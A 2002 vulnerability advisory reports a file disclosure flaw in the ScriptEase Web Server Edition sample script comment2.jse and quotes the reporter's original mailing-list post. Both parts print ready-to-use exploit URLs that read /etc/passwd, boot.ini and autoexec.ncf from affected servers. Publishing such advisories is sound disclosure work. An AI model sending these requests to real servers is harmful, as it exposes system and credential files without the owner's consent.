ScriptEase Web Server Edition Sample Script (comment2.jse) Discloses Files Located Anywhere on the Server to Remote Users
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Date: Feb 25 2002
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Impact: Disclosure of system information, Disclosure of user information
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Exploit Included: Yes
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Description: A file disclosure vulnerability was reported in the Nombas ScriptEase Web Server Edition. A remote user can view files located anywhere on the server.
It is reported that a remote user can exploit the 'comment2.jse' sample script to view files located anywhere on the server. The
following type of URLs will reportedly trigger the flaw:
http://novellhost/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/jabber/comment2.jse+/system/autoexec.ncf
http://this.was.the.funniest/us/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\boot.ini
http://linuxhost/cgi-bin/sewse?/home/httpd/html/sewse/jab
ber/comment2.jse+/etc/passwd
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Impact: A remote user can view files located anywhere on the server.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.nombas.com/us/download/ndownload.htm (Links to External Site)
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Cause: Access control error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: "Aleksander Posmyk" <blah@omi.pl>
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Message History:
None.
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Source Message Contents
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Date: Sun, 24 Feb 2002 11:47:14 +0100
From: "Aleksander Posmyk" <blah@omi.pl>
Subject: ScriptEase:WebServer Edition vulnerability
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Program: ScriptEase:WebServer Edition
Url: www.nombas.com
Problem: Any user can read files on server using one of examle scripts: comment2.jse
Systems affected: Linux, Novell Netware, Windows 9x/NT/2k
Example:
WindowsNovell Netware:
http://novellhost/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/jabber/comment2.jse+/system/autoex
ec.ncf
SET CLIENT FILE ...:
http://this.was.the.funniest/us/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\b
oot.ini
[boot loader] timeout=10 ...
Linux:
http://linuxhost/cgi-bin/sewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/passwd
root:....
I found this in a default instalation of Novell Netware 5.1...
Sorry for my english.
________________________________
Aleksander Posmyk - blah@lucyfer.omi.pl
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